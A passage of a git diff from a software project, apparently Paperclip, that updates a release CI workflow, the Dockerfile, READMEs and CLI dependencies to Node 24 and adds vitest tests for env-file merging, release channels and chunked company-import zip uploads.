needs.preflight_stable.outputs.notes_mode == 'master_beta' && needs.publish_stable.result == 'success' }} + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: write + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Configure git author + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Push the canonicalization branch + env: + STABLE_VERSION: ${{ needs.publish_stable.outputs.stable_version }} + NOTES_PATH: ${{ needs.preflight_stable.outputs.notes_path }} + NOTES_REF: ${{ needs.preflight_stable.outputs.notes_ref }} + run: | + set -euo pipefail + branch="release-notes/v${STABLE_VERSION}-canonicalize" + git checkout -B "$branch" + # Canonicalize exactly what shipped: take the notes at the pinned + # revision the release read them from, so a master edit made + # during the run surfaces as a reviewable diff in this PR instead + # of silently diverging from the published GitHub Release. + git show "${NOTES_REF}:${NOTES_PATH}" > "releases/v${STABLE_VERSION}.md" + git add "releases/v${STABLE_VERSION}.md" + if git ls-files --error-unmatch "${NOTES_PATH}" >/dev/null 2>&1; then + git rm -q "${NOTES_PATH}" + fi + git commit -m "docs(release): canonicalize stable notes for v${STABLE_VERSION}" + git push -f origin "$branch" + { + echo "## Stable notes canonicalization pushed" + echo "" + echo "- Branch: \`${branch}\`" + echo "- Open and merge the PR (a human opens it so CI runs):" + echo " https://github.com/${GITHUB_REPOSITORY}/compare/master...${branch}?expand=1" + } >> "$GITHUB_STEP_SUMMARY" diff --git a/.gitignore b/.gitignore index f7f6ae75b1f..f0619539584 100644 --- a/.gitignore +++ b/.gitignore @@ -60,6 +60,7 @@ tests/e2e/test-results/ tests/e2e/playwright-report/ tests/release-smoke/test-results/ tests/release-smoke/playwright-report/ +test-results/issue-detail-perf/ tests/storybook-visual/.cache/ tests/storybook-visual/.snapshots/ tests/storybook-visual/baseline-review/ diff --git a/.nvmrc b/.nvmrc new file mode 100644 index 00000000000..a45fd52cc58 --- /dev/null +++ b/.nvmrc @@ -0,0 +1 @@ +24 diff --git a/Dockerfile b/Dockerfile index 2769078b668..c41520df329 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,5 +1,5 @@ # syntax=docker/dockerfile:1.20 -FROM node:lts-trixie-slim AS base +FROM node:24-trixie-slim AS base ARG USER_UID=1000 ARG USER_GID=1000 RUN apt-get update \ @@ -25,6 +25,7 @@ COPY packages/google-sheets-mcp-server/package.json packages/google-sheets-mcp-s COPY packages/kv-demo-mcp-server/package.json packages/kv-demo-mcp-server/ COPY packages/mcp-server/package.json packages/mcp-server/ COPY packages/skills-catalog/package.json packages/skills-catalog/ +COPY packages/tailscale-https-broker/package.json packages/tailscale-https-broker/ COPY packages/teams-catalog/package.json packages/teams-catalog/ COPY packages/adapters/claude-local/package.json packages/adapters/claude-local/ COPY packages/adapters/codex-local/package.json packages/adapters/codex-local/ @@ -32,6 +33,7 @@ COPY packages/adapters/cursor-cloud/package.json packages/adapters/cursor-cloud/ COPY packages/adapters/cursor-local/package.json packages/adapters/cursor-local/ COPY packages/adapters/gemini-local/package.json packages/adapters/gemini-local/ COPY packages/adapters/grok-local/package.json packages/adapters/grok-local/ +COPY packages/adapters/kimi-local/package.json packages/adapters/kimi-local/ COPY packages/adapters/hermes/package.json packages/adapters/hermes/ COPY packages/adapters/hermes-gateway/package.json packages/adapters/hermes-gateway/ COPY packages/adapters/openclaw-gateway/package.json packages/adapters/openclaw-gateway/ @@ -53,6 +55,14 @@ COPY --from=deps /app /app COPY . . RUN pnpm --filter @paperclipai/ui build RUN pnpm --filter @paperclipai/plugin-sdk build +# The server build runs scripts/write-build-stamp.mjs, which stamps the built +# commit into dist/build-info.json. The build context has no .git, so the +# script reads PAPERCLIP_BUILD_COMMIT instead. Docker exposes an ARG to the +# next RUN as an environment variable, so declare it here — in the build +# stage — before the server build. The production stage below declares the +# same ARG again for the runtime fallback; an ARG goes out of scope at the +# end of its stage. Empty for local `docker build`, which then writes no stamp. +ARG PAPERCLIP_BUILD_COMMIT="" RUN pnpm --filter @paperclipai/server build RUN test -f server/dist/index.js || (echo "ERROR: server build output missing" && exit 1) @@ -77,7 +87,7 @@ WORKDIR /app # (the single most expensive layer: four CLI toolchains + apt, per arch) can # never hit the layer cache and rebuilds on every build. RUN echo "cli-tools-epoch: ${CLI_TOOLS_CACHE_EPOCH}" \ - && npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest \ + && npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest @moonshot-ai/kimi-code@latest \ && apt-get update \ && apt-get install -y --no-install-recommends openssh-client jq \ && rm -rf /var/lib/apt/lists/* \ diff --git a/README.md b/README.md index 53a7291c46e..5f19d11df6b 100644 --- a/README.md +++ b/README.md @@ -311,7 +311,7 @@ fi bash install.sh ``` -The installer ensures Node.js 20 or newer is available, installs a managed +The installer ensures Node.js 24.11 or newer is available, installs a managed Paperclip CLI under `~/.paperclip/cli`, and starts interactive onboarding. It can also install Paperclip as a background service on supported Linux and macOS systems. The checksum detects transfer or publishing mistakes, but it is @@ -376,7 +376,7 @@ pnpm dev This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required. -> **Requirements:** Node.js 20+, pnpm 9.15+ +> **Requirements:** Node.js 24.11+, pnpm 9.15+
diff --git a/cli/README.md b/cli/README.md index a32a6c5611b..5817e6b6fdf 100644 --- a/cli/README.md +++ b/cli/README.md @@ -305,7 +305,7 @@ pnpm dev This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required. -> **Requirements:** Node.js 20+, pnpm 9.15+ +> **Requirements:** Node.js 24.11+, pnpm 9.15+
diff --git a/cli/esbuild.config.mjs b/cli/esbuild.config.mjs index 3432ef5bf49..fee12f51fbc 100644 --- a/cli/esbuild.config.mjs +++ b/cli/esbuild.config.mjs @@ -70,7 +70,7 @@ export default { entryPoints: ["src/index.ts"], bundle: true, platform: "node", - target: "node20", + target: "node24", format: "esm", outfile: "dist/index.js", banner: { js: "#!/usr/bin/env node" }, diff --git a/cli/package.json b/cli/package.json index 95cb206c4fe..4113ed4d45e 100644 --- a/cli/package.json +++ b/cli/package.json @@ -36,13 +36,14 @@ "typecheck": "tsc --noEmit" }, "dependencies": { - "@clack/prompts": "^0.11.0", + "@clack/prompts": "^1.7.0", "@paperclipai/adapter-claude-local": "workspace:*", "@paperclipai/adapter-codex-local": "workspace:*", "@paperclipai/adapter-cursor-cloud": "workspace:*", "@paperclipai/adapter-cursor-local": "workspace:*", "@paperclipai/adapter-gemini-local": "workspace:*", "@paperclipai/adapter-grok-local": "workspace:*", + "@paperclipai/adapter-kimi-local": "workspace:*", "@paperclipai/adapter-opencode-local": "workspace:*", "@paperclipai/adapter-pi-local": "workspace:*", "@paperclipai/adapter-openclaw-gateway": "workspace:*", @@ -58,8 +59,11 @@ "picocolors": "^1.1.1" }, "devDependencies": { - "@types/node": "^22.20.1", - "tsx": "^4.23.1", + "@types/node": "^24.0.0", + "tsx": "^4.23.12", "typescript": "^5.7.3" + }, + "engines": { + "node": ">=24.11.0" } } diff --git a/cli/src/__tests__/agent-jwt-env.test.ts b/cli/src/__tests__/agent-jwt-env.test.ts index baf5db5128b..b26ae018df2 100644 --- a/cli/src/__tests__/agent-jwt-env.test.ts +++ b/cli/src/__tests__/agent-jwt-env.test.ts @@ -76,4 +76,62 @@ describe("agent jwt env helpers", () => { expect(contents).toContain('PAPERCLIP_WORKTREE_COLOR="#439edb"'); expect(readPaperclipEnvEntries(envPath).PAPERCLIP_WORKTREE_COLOR).toBe("#439edb"); }); + + it("preserves operator content and CRLF while updating only managed entries", () => { + const configPath = tempConfigPath(); + const envPath = resolveAgentJwtEnvFile(configPath); + const original = [ + "# operator comment", + "DATABASE_URL='postgres://operator:encoded@localhost/paperclip'", + "", + "export PAPERCLIP_HOME = '/old path' # managed path", + "PAPERCLIP_DUPLICATE=stale", + 'PAPERCLIP_DUPLICATE="current"', + "UNKNOWN_VALUE=operator-owned", + "", + ].join("\r\n"); + fs.writeFileSync(envPath, original, { mode: 0o600 }); + + mergePaperclipEnvEntries( + { + PAPERCLIP_HOME: "/new path", + PAPERCLIP_DUPLICATE: "current", + PAPERCLIP_WORKTREE_COLOR: "#439edb", + DATABASE_URL: "postgres://paperclip-must-not-overwrite", + }, + envPath, + ); + + const updated = fs.readFileSync(envPath, "utf8"); + expect(updated).toBe([ + "# operator comment", + "DATABASE_URL='postgres://operator:encoded@localhost/paperclip'", + "", + 'export PAPERCLIP_HOME = "/new path" # managed path', + "PAPERCLIP_DUPLICATE=current", + 'PAPERCLIP_DUPLICATE="current"', + "UNKNOWN_VALUE=operator-owned", + 'PAPERCLIP_WORKTREE_COLOR="#439edb"', + "", + ].join("\r\n")); + expect(updated.replaceAll("\r\n", "")).not.toContain("\n"); + }); + + it("does not replace the env file when managed values are already current", () => { + const configPath = tempConfigPath(); + const envPath = resolveAgentJwtEnvFile(configPath); + const original = [ + "# preserve this file byte-for-byte", + "export PAPERCLIP_HOME = '/same path'", + "UNKNOWN=\"operator encoding\"", + "", + ].join("\n"); + fs.writeFileSync(envPath, original, { mode: 0o600 }); + const previousInode = fs.statSync(envPath).ino; + + mergePaperclipEnvEntries({ PAPERCLIP_HOME: "/same path" }, envPath); + + expect(fs.readFileSync(envPath, "utf8")).toBe(original); + expect(fs.statSync(envPath).ino).toBe(previousInode); + }); }); diff --git a/cli/src/__tests__/agent-lifecycle.test.ts b/cli/src/__tests__/agent-lifecycle.test.ts index 4e2917ce83e..41817823db9 100644 --- a/cli/src/__tests__/agent-lifecycle.test.ts +++ b/cli/src/__tests__/agent-lifecycle.test.ts @@ -83,7 +83,15 @@ describe("agent lifecycle commands", () => { await run(["agent", "runtime-state:reset-session", AGENT_ID, "--task-key", "task-1"]); await run(["agent", "task-sessions", AGENT_ID]); await run(["agent", "skills", AGENT_ID]); - await run(["agent", "skills:sync", AGENT_ID, "--desired-skills", "paperclip,github"]); + await run([ + "agent", + "skills:sync", + AGENT_ID, + "--desired-skills", + "paperclip,github", + "--mode", + "replace", + ]); await run(["agent", "instructions-path:update", AGENT_ID, "--payload-json", JSON.stringify({ path: "/tmp/AGENTS.md" })]); await run(["agent", "instructions-bundle", AGENT_ID]); await run(["agent", "instructions-bundle:update", AGENT_ID, "--payload-json", JSON.stringify({ mode: "managed" })]); diff --git a/cli/src/__tests__/channels.test.ts b/cli/src/__tests__/channels.test.ts new file mode 100644 index 00000000000..97c0ad62220 --- /dev/null +++ b/cli/src/__tests__/channels.test.ts @@ -0,0 +1,81 @@ +import { describe, expect, it } from "vitest"; +import { + channelForVersion, + collectChannelState, + RELEASE_CHANNELS, +} from "../commands/channels.js"; +import type { CommandRunner } from "../commands/install.js"; + +describe("channelForVersion", () => { + it("maps published versions to their lane", () => { + expect(channelForVersion("2026.811.0")).toBe("stable"); + expect(channelForVersion("2026.811.0-beta.0")).toBe("beta"); + expect(channelForVersion("2026.811.0-nightly.0")).toBe("nightly"); + expect(channelForVersion("2026.811.0-canary.3")).toBe("canary"); + }); + + it("treats non-CalVer versions as unknown instead of guessing", () => { + expect(channelForVersion("0.3.1")).toBe("unknown"); + expect(channelForVersion("2026.811.0-rc.1")).toBe("unknown"); + expect(channelForVersion("garbage")).toBe("unknown"); + }); +}); + +describe("collectChannelState", () => { + const versionsByTag: Record = { + latest: "2026.722.0", + beta: "2026.811.0-beta.0", + nightly: "2026.811.0-nightly.0", + canary: "2026.811.0-canary.3", + }; + + const fakeRunner: CommandRunner = async (_command, args) => { + const spec = (args ?? []).find((arg) => arg.startsWith("paperclipai@")); + const tag = spec?.slice("paperclipai@".length) ?? ""; + const version = versionsByTag[tag]; + if (!version) throw new Error(`unexpected dist-tag: ${tag}`); + return { stdout: JSON.stringify(version), stderr: "" }; + }; + + it("resolves every channel's dist-tag from the registry", async () => { + const state = await collectChannelState(fakeRunner); + + expect(state.map((entry) => entry.channel)).toEqual([ + "stable", + "beta", + "nightly", + "canary", + ]); + expect(state.map((entry) => entry.version)).toEqual([ + "2026.722.0", + "2026.811.0-beta.0", + "2026.811.0-nightly.0", + "2026.811.0-canary.3", + ]); + }); + + it("degrades a single unavailable channel to null without failing the rest", async () => { + const flakyRunner: CommandRunner = async (command, args, options) => { + const spec = (args ?? []).find((arg) => arg.startsWith("paperclipai@")); + if (spec === "paperclipai@nightly") throw new Error("registry timeout"); + return fakeRunner(command, args, options); + }; + + const state = await collectChannelState(flakyRunner); + const byChannel = Object.fromEntries(state.map((entry) => [entry.channel, entry.version])); + + expect(byChannel.nightly).toBeNull(); + expect(byChannel.stable).toBe("2026.722.0"); + expect(byChannel.beta).toBe("2026.811.0-beta.0"); + expect(byChannel.canary).toBe("2026.811.0-canary.3"); + }); + + it("keeps the channel table and dist-tags in sync", () => { + expect(RELEASE_CHANNELS.map((entry) => entry.distTag)).toEqual([ + "latest", + "beta", + "nightly", + "canary", + ]); + }); +}); diff --git a/cli/src/__tests__/company-import-transfer.test.ts b/cli/src/__tests__/company-import-transfer.test.ts new file mode 100644 index 00000000000..c8b560849d5 --- /dev/null +++ b/cli/src/__tests__/company-import-transfer.test.ts @@ -0,0 +1,494 @@ +import { createHash } from "node:crypto"; +import { deflateRawSync } from "node:zlib"; +import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { Command } from "commander"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { readZipArchive } from "@paperclipai/shared/portability-zip"; +import { + CHUNKED_IMPORT_THRESHOLD_BYTES, + IMPORT_TRANSFER_PART_SIZE_BYTES, + buildImportTransferManifest, + registerCompanyCommands, + EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES, + resolveChunkedImportZip, + uploadCompanyImportTransfer, +} from "../commands/client/company.js"; +import { createStoredZipArchive } from "./helpers/zip.js"; + +const ORIGINAL_ENV = { ...process.env }; + +const tempDirs: string[] = []; + +async function makeTempDir(): Promise { + const dir = await mkdtemp(path.join(os.tmpdir(), "paperclip-company-import-transfer-")); + tempDirs.push(dir); + return dir; +} + +function sha256Hex(bytes: Uint8Array): string { + return createHash("sha256").update(bytes).digest("hex"); +} + +/** Two-part fixture: one full 32 MB part plus a short tail. */ +function buildTwoPartZipBytes(): Uint8Array { + const bytes = new Uint8Array(IMPORT_TRANSFER_PART_SIZE_BYTES + 3); + bytes.set([1, 2, 3], IMPORT_TRANSFER_PART_SIZE_BYTES); + return bytes; +} + +afterEach(async () => { + for (const dir of tempDirs.splice(0)) { + await rm(dir, { recursive: true, force: true }); + } +}); + +describe("buildImportTransferManifest", () => { + it("declares the whole zip and its 32 MB byte-range parts with content hashes", () => { + const zipBytes = buildTwoPartZipBytes(); + const manifest = buildImportTransferManifest(zipBytes); + + expect(manifest.totalBytes).toBe(zipBytes.length); + expect(manifest.partSizeBytes).toBe(IMPORT_TRANSFER_PART_SIZE_BYTES); + expect(manifest.zipSha256).toBe(sha256Hex(zipBytes)); + expect(manifest.parts).toEqual([ + { + index: 0, + byteSize: IMPORT_TRANSFER_PART_SIZE_BYTES, + sha256: sha256Hex(zipBytes.subarray(0, IMPORT_TRANSFER_PART_SIZE_BYTES)), + }, + { + index: 1, + byteSize: 3, + sha256: sha256Hex(zipBytes.subarray(IMPORT_TRANSFER_PART_SIZE_BYTES)), + }, + ]); + }); +}); + +// Minimal single-entry DEFLATE zip, byte-compatible with the shared reader — +// the stored-zip helper cannot model a small-compressed/large-inflated entry. +function buildDeflateZip(entryPath: string, text: string): Uint8Array { + const raw = Buffer.from(text, "utf8"); + const body = deflateRawSync(raw); + const name = Buffer.from(entryPath, "utf8"); + let crc = 0xffffffff; + for (const byte of raw) { + crc ^= byte; + for (let bit = 0; bit < 8; bit += 1) crc = (crc & 1) === 1 ? (crc >>> 1) ^ 0xedb88320 : crc >>> 1; + } + crc = (crc ^ 0xffffffff) >>> 0; + const local = Buffer.alloc(30 + name.length); + local.writeUInt32LE(0x04034b50, 0); + local.writeUInt16LE(20, 4); + local.writeUInt16LE(0x0800, 6); + local.writeUInt16LE(8, 8); + local.writeUInt32LE(crc, 14); + local.writeUInt32LE(body.length, 18); + local.writeUInt32LE(raw.length, 22); + local.writeUInt16LE(name.length, 26); + name.copy(local, 30); + const central = Buffer.alloc(46 + name.length); + central.writeUInt32LE(0x02014b50, 0); + central.writeUInt16LE(20, 4); + central.writeUInt16LE(20, 6); + central.writeUInt16LE(0x0800, 8); + central.writeUInt16LE(8, 10); + central.writeUInt32LE(crc, 16); + central.writeUInt32LE(body.length, 20); + central.writeUInt32LE(raw.length, 24); + central.writeUInt16LE(name.length, 28); + central.writeUInt32LE(0, 42); + name.copy(central, 46); + const eocd = Buffer.alloc(22); + eocd.writeUInt32LE(0x06054b50, 0); + eocd.writeUInt16LE(1, 8); + eocd.writeUInt16LE(1, 10); + eocd.writeUInt32LE(central.length, 12); + eocd.writeUInt32LE(local.length + body.length, 16); + return new Uint8Array(Buffer.concat([local, body, central, eocd])); +} + +describe("resolveChunkedImportZip", () => { + + it("returns null for a zip at or under the threshold", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "small.zip"); + await writeFile(zipPath, Buffer.alloc(1024)); + + expect(await resolveChunkedImportZip(zipPath)).toBeNull(); + }); + + it("takes the chunked path for a small zip whose entries inflate past the threshold", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "dense-package.zip"); + // ~64 MB of repetitive text DEFLATEs to a tiny file: far under the raw + // 48 MB threshold, but the inline body would carry the inflated entries, + // so the estimated request size sends the zip down the chunked path. + const zipBytes = buildDeflateZip("dense-package/NOTES.md", "paperclip agent docs\n".repeat(3_200_000)); + await writeFile(zipPath, zipBytes); + + const resolved = await resolveChunkedImportZip(zipPath); + expect(resolved).not.toBeNull(); + expect(resolved!.rootPath).toBe("dense-package"); + expect(sha256Hex(resolved!.zipBytes)).toBe(sha256Hex(zipBytes)); + }); + + it("uses the lower existing-company threshold for the chunk decision", async () => { + const dir = await makeTempDir(); + const packageDir = path.join(dir, "midsize-package"); + await mkdir(path.join(packageDir, "blobs"), { recursive: true }); + await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n"); + // ~9 MB of blob bytes: estimated inline ~12 MB — fine for the generic + // import path (64 MB parser) but over the existing-company path's + // default 10 MB parser, so only the existing-target threshold chunks it. + await writeFile(path.join(packageDir, "blobs", "1a2b3c4d"), Buffer.alloc(9 * 1024 * 1024, 5)); + + expect(await resolveChunkedImportZip(packageDir)).toBeNull(); + const chunked = await resolveChunkedImportZip( + packageDir, + EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES, + ); + expect(chunked).not.toBeNull(); + expect(chunked!.rootPath).toBe("midsize-package"); + }); + + it("keeps a small zip inline when its entries stay under the estimated threshold", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "modest-package.zip"); + await writeFile(zipPath, buildDeflateZip("modest-package/COMPANY.md", "# Company\n")); + + expect(await resolveChunkedImportZip(zipPath)).toBeNull(); + }); + + it("reads an oversized zip file as-is so its declared hashes match the file on disk", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "big-package.zip"); + const zipBytes = Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 7); + await writeFile(zipPath, zipBytes); + + const resolved = await resolveChunkedImportZip(zipPath); + expect(resolved).not.toBeNull(); + expect(resolved!.rootPath).toBe("big-package"); + expect(resolved!.zipBytes.length).toBe(zipBytes.length); + expect(sha256Hex(resolved!.zipBytes)).toBe(sha256Hex(zipBytes)); + }); + + it("returns null for a folder whose portable content is under the threshold", async () => { + const dir = await makeTempDir(); + const packageDir = path.join(dir, "small-package"); + await mkdir(packageDir, { recursive: true }); + await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n"); + + expect(await resolveChunkedImportZip(packageDir)).toBeNull(); + }); + + it("takes the chunked path for a binary-heavy folder whose inline body outgrows the threshold", async () => { + const dir = await makeTempDir(); + const packageDir = path.join(dir, "binary-package"); + await mkdir(path.join(packageDir, "blobs"), { recursive: true }); + await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n"); + // 40 MB of raw blob bytes: under the 48 MB raw threshold, but the inline + // JSON body would carry them base64-inflated (~53 MB) — past the + // threshold on the estimated request size, so the zip travels chunked. + await writeFile( + path.join(packageDir, "blobs", "9a1b2c3d"), + Buffer.alloc(40 * 1024 * 1024, 3), + ); + + const resolved = await resolveChunkedImportZip(packageDir); + expect(resolved).not.toBeNull(); + expect(resolved!.rootPath).toBe("binary-package"); + const archive = await readZipArchive(resolved!.zipBytes); + expect(Object.keys(archive.files).sort()).toEqual(["COMPANY.md", "blobs/9a1b2c3d"]); + }); + + it("keeps a text folder under both the raw and estimated measures inline", async () => { + const dir = await makeTempDir(); + const packageDir = path.join(dir, "text-package"); + await mkdir(packageDir, { recursive: true }); + await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n"); + // Sizable but nowhere near the threshold on either measure: text entries + // travel JSON-escaped, close to their raw size, so no base64 inflation + // pushes this folder onto the chunked path. + await writeFile(path.join(packageDir, "NOTES.md"), "agent docs line\n".repeat(200_000)); + + expect(await resolveChunkedImportZip(packageDir)).toBeNull(); + }); + + it("zips an oversized folder in memory with the same walk filters as the inline path", async () => { + const dir = await makeTempDir(); + const packageDir = path.join(dir, "big-package"); + await mkdir(path.join(packageDir, "blobs"), { recursive: true }); + await mkdir(path.join(packageDir, ".git"), { recursive: true }); + await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n"); + await writeFile(path.join(packageDir, "notes.txt"), "not portable\n"); + await writeFile(path.join(packageDir, ".git", "HEAD"), "ref: refs/heads/main\n"); + await writeFile( + path.join(packageDir, "blobs", "4f2d1c9a"), + Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 9), + ); + + const resolved = await resolveChunkedImportZip(packageDir); + expect(resolved).not.toBeNull(); + expect(resolved!.rootPath).toBe("big-package"); + + // The archive unzips back into the same bundle the inline source carries. + const archive = await readZipArchive(resolved!.zipBytes); + expect(archive.rootPath).toBe("big-package"); + expect(Object.keys(archive.files).sort()).toEqual(["COMPANY.md", "blobs/4f2d1c9a"]); + expect(archive.files["COMPANY.md"]).toBe("# Company\n"); + }); +}); + +describe("uploadCompanyImportTransfer", () => { + const zipBytes = buildTwoPartZipBytes(); + type TransferApi = Parameters[0]; + + function fakeApi(overrides: { post?: ReturnType; putRaw?: ReturnType } = {}) { + const post = overrides.post + ?? vi.fn().mockResolvedValue({ + transferId: "transfer-1", + status: "running", + alreadyCompleted: false, + totalParts: 2, + missingParts: [0, 1], + }); + const putRaw = overrides.putRaw ?? vi.fn().mockResolvedValue({ ok: true }); + return { api: { post, putRaw } as unknown as TransferApi, post, putRaw }; + } + + it("uploads only the parts the server reports missing", async () => { + const { api, post, putRaw } = fakeApi({ + post: vi.fn().mockResolvedValue({ + transferId: "transfer-1", + status: "running", + alreadyCompleted: false, + totalParts: 2, + missingParts: [1], + }), + }); + const progress: number[] = []; + + const transferId = await uploadCompanyImportTransfer(api, zipBytes, { + onProgress: (update) => progress.push(update.uploadedParts), + }); + + expect(transferId).toBe("transfer-1"); + expect(post).toHaveBeenCalledWith( + "/api/companies/import/transfers", + expect.objectContaining({ totalBytes: zipBytes.length }), + ); + expect(putRaw).toHaveBeenCalledTimes(1); + expect(putRaw.mock.calls[0]![0]).toBe("/api/companies/import/transfers/transfer-1/parts/1"); + expect(putRaw.mock.calls[0]![1]).toHaveLength(3); + expect(progress).toEqual([2]); + }); + + it("retries a failed part before succeeding", async () => { + const putRaw = vi.fn() + .mockRejectedValueOnce(new Error("socket hang up")) + .mockRejectedValueOnce(new Error("socket hang up")) + .mockResolvedValue({ ok: true }); + const { api } = fakeApi({ putRaw }); + + await expect(uploadCompanyImportTransfer(api, zipBytes)).resolves.toBe("transfer-1"); + // Part 0 took three attempts; part 1 succeeded first try. + expect(putRaw).toHaveBeenCalledTimes(4); + }); + + it("surfaces the upload error after exhausting the per-part attempts", async () => { + const putRaw = vi.fn().mockRejectedValue(new Error("socket hang up")); + const { api } = fakeApi({ putRaw }); + + await expect(uploadCompanyImportTransfer(api, zipBytes)).rejects.toThrow("socket hang up"); + expect(putRaw).toHaveBeenCalledTimes(3); + }); + + it("refuses a transfer whose content was already applied", async () => { + const { api, putRaw } = fakeApi({ + post: vi.fn().mockResolvedValue({ + transferId: "transfer-1", + status: "completed", + alreadyCompleted: true, + totalParts: 2, + missingParts: [], + }), + }); + + await expect(uploadCompanyImportTransfer(api, zipBytes)).rejects.toThrow(/already imported/); + expect(putRaw).not.toHaveBeenCalled(); + }); +}); + +describe("company import command over the chunked transfer path", () => { + let fetchMock: ReturnType; + let logSpy: ReturnType; + + beforeEach(() => { + process.env = { ...ORIGINAL_ENV }; + delete process.env.PAPERCLIP_API_URL; + delete process.env.PAPERCLIP_API_KEY; + delete process.env.PAPERCLIP_COMPANY_ID; + fetchMock = vi.fn(); + vi.stubGlobal("fetch", fetchMock); + logSpy = vi.spyOn(console, "log").mockImplementation(() => undefined); + vi.spyOn(console, "error").mockImplementation(() => undefined); + }); + + afterEach(() => { + process.env = { ...ORIGINAL_ENV }; + vi.unstubAllGlobals(); + vi.restoreAllMocks(); + }); + + async function runCommand(args: string[]): Promise { + const program = new Command(); + program.exitOverride(); + program.configureOutput({ + writeOut: () => undefined, + writeErr: () => undefined, + }); + registerCompanyCommands(program); + await program.parseAsync(args, { from: "user" }); + } + + function jsonResponse(body: unknown, status = 200): Response { + return new Response(JSON.stringify(body), { + status, + headers: { "content-type": "application/json" }, + }); + } + + function minimalPreview() { + return { + include: { company: true, agents: true, projects: true, issues: true }, + targetCompanyId: null, + targetCompanyName: null, + collisionStrategy: "rename", + selectedAgentSlugs: [], + plan: { companyAction: "create", agentPlans: [], projectPlans: [], issuePlans: [] }, + manifest: { agents: [], projects: [], issues: [], skills: [], company: null }, + files: {}, + envInputs: [], + warnings: [], + errors: [], + }; + } + + it("slices an oversized local zip into a transfer and applies it against the spool", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "big-package.zip"); + await writeFile(zipPath, Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 5)); + + fetchMock + .mockResolvedValueOnce(jsonResponse({ + transferId: "transfer-1", + status: "running", + alreadyCompleted: false, + totalParts: 2, + missingParts: [0, 1], + })) + .mockResolvedValueOnce(jsonResponse({ ok: true, index: 0, alreadyCompleted: false })) + .mockResolvedValueOnce(jsonResponse({ ok: true, index: 1, alreadyCompleted: false })) + .mockResolvedValueOnce(jsonResponse(minimalPreview())) + .mockResolvedValueOnce(jsonResponse({ + company: { id: "company-9", name: "Imported", action: "created" }, + agents: [], + skills: [], + projects: [], + routines: [], + envInputs: [], + warnings: [], + })); + + await runCommand([ + "company", + "import", + zipPath, + "--target", + "new", + "--yes", + "--json", + "--api-base", + "http://paperclip.test", + "--api-key", + "board-token", + ]); + + expect(fetchMock).toHaveBeenNthCalledWith( + 1, + "http://paperclip.test/api/companies/import/transfers", + expect.objectContaining({ method: "POST" }), + ); + const declared = JSON.parse(String(fetchMock.mock.calls[0]![1].body)); + expect(declared.totalBytes).toBe(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024); + expect(declared.parts).toHaveLength(2); + + expect(fetchMock).toHaveBeenNthCalledWith( + 2, + "http://paperclip.test/api/companies/import/transfers/transfer-1/parts/0", + expect.objectContaining({ + method: "PUT", + headers: expect.objectContaining({ "content-type": "application/octet-stream" }), + }), + ); + expect(fetchMock).toHaveBeenNthCalledWith( + 3, + "http://paperclip.test/api/companies/import/transfers/transfer-1/parts/1", + expect.objectContaining({ method: "PUT" }), + ); + expect(fetchMock).toHaveBeenNthCalledWith( + 4, + "http://paperclip.test/api/companies/import/transfers/transfer-1/preview", + expect.objectContaining({ method: "POST" }), + ); + // Preview and apply carry the meta fields, never an inline source. + const previewBody = JSON.parse(String(fetchMock.mock.calls[3]![1].body)); + expect(previewBody.target).toEqual({ mode: "new_company", newCompanyName: null }); + expect(previewBody).not.toHaveProperty("source"); + expect(fetchMock).toHaveBeenNthCalledWith( + 5, + "http://paperclip.test/api/companies/import/transfers/transfer-1/apply", + expect.objectContaining({ method: "POST" }), + ); + const applyBody = JSON.parse(String(fetchMock.mock.calls[4]![1].body)); + expect(applyBody).not.toHaveProperty("source"); + + expect(JSON.parse(String(logSpy.mock.calls.at(-1)?.[0]))).toMatchObject({ + company: { id: "company-9" }, + }); + }); + + it("keeps small local zips on the inline single-shot path", async () => { + const dir = await makeTempDir(); + const zipPath = path.join(dir, "small-package.zip"); + await writeFile(zipPath, createStoredZipArchive({ "COMPANY.md": "# Company\n" }, "small-package")); + + fetchMock.mockResolvedValueOnce(jsonResponse(minimalPreview())); + + await runCommand([ + "company", + "import", + zipPath, + "--target", + "new", + "--dry-run", + "--json", + "--api-base", + "http://paperclip.test", + "--api-key", + "board-token", + ]); + + expect(fetchMock).toHaveBeenCalledTimes(1); + expect(fetchMock).toHaveBeenCalledWith( + "http://paperclip.test/api/companies/import/preview", + expect.objectContaining({ method: "POST" }), + ); + const body = JSON.parse(String(fetchMock.mock.calls[0]![1].body)); + expect(body.source.type).toBe("inline"); + expect(body.source.files["COMPANY.md"]).toBe("# Company\n"); + }); +}); diff --git a/cli/src/__tests__/company.test.ts b/cli/src/__tests__/company.test.ts index 1532047f6f8..a548c8821a4 100644 --- a/cli/src/__tests__/company.test.ts +++ b/cli/src/__tests__/company.test.ts @@ -504,6 +504,17 @@ describe("renderCompanyImportResult", () => { { slug: "cto", id: "agent-2", action: "updated", name: "CTO", 